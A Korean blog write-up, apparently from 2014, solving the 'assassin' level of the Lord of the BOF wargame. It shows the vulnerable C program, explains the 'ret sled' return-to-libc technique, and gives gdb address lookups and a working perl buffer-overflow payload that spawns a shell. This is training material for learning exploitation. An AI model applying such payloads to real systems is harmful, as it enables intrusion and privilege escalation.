[giant@localhost giant]$ cat assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
이번 문제는 ret 부분에 \x40 이나 \xbf 가들어가면 커맨드가 씹히게 됩니다.
그말은 즉슨,, 버퍼사용 못한다는 말이고, 라이브러리를 사용하지 못한다는 거겟죠..
이번 문제에서 사용한 기법은 'ret sled' 입니다.
ret sled 란 ret 부분(pop eip)에 ret 주소를 한번 더 넣어줌으로써,
eip가 pop 되기도 하지만, esp도 4 늘어난다는 의미이기 때문에, 다음 명령을 가르키게 됩니다
따라서 다음부분부터는 RTL 처럼 &System | &exit | &/bin/sh | 을 넣어주게 된다면, 이번 문제는 풀리게 됩니다 .
[giant@localhost giant]$ cp assassin /tmp/assassin
[giant@localhost giant]$ cd /tmp
[giant@localhost /tmp]$ gdb -q assassin
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r
Starting program: /tmp/assassin
Breakpoint 1, 0x8048476 in main ()
(gdb)
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0x400391e0 <exit>
(gdb)
0x804851e <main+174>: ret
[giant@localhost /tmp]$ ./sh
/bin/sh is at 0x400fbff9
[페이로드]
|NOP [44] | &RET | &system | &exit |&/bin/sh|
공격
[giant@localhost giant]$ ./assassin $(perl -e 'print "\x90"x44,"\x1e\x85\x04\x08","\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"')
??????????????????????????????????????????????@?@廈@
bash$ my-pass
euid = 515
pushing me away
bash$
쉘이 따입니다
'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
---|---|
(LOB)level16.assassin (0) | 2014.08.25 |
(LOB)level14.bugbear (0) | 2014.08.20 |
(LOB)level13.darkknight (0) | 2014.08.19 |
(LOB)level12.golem (0) | 2014.08.19 |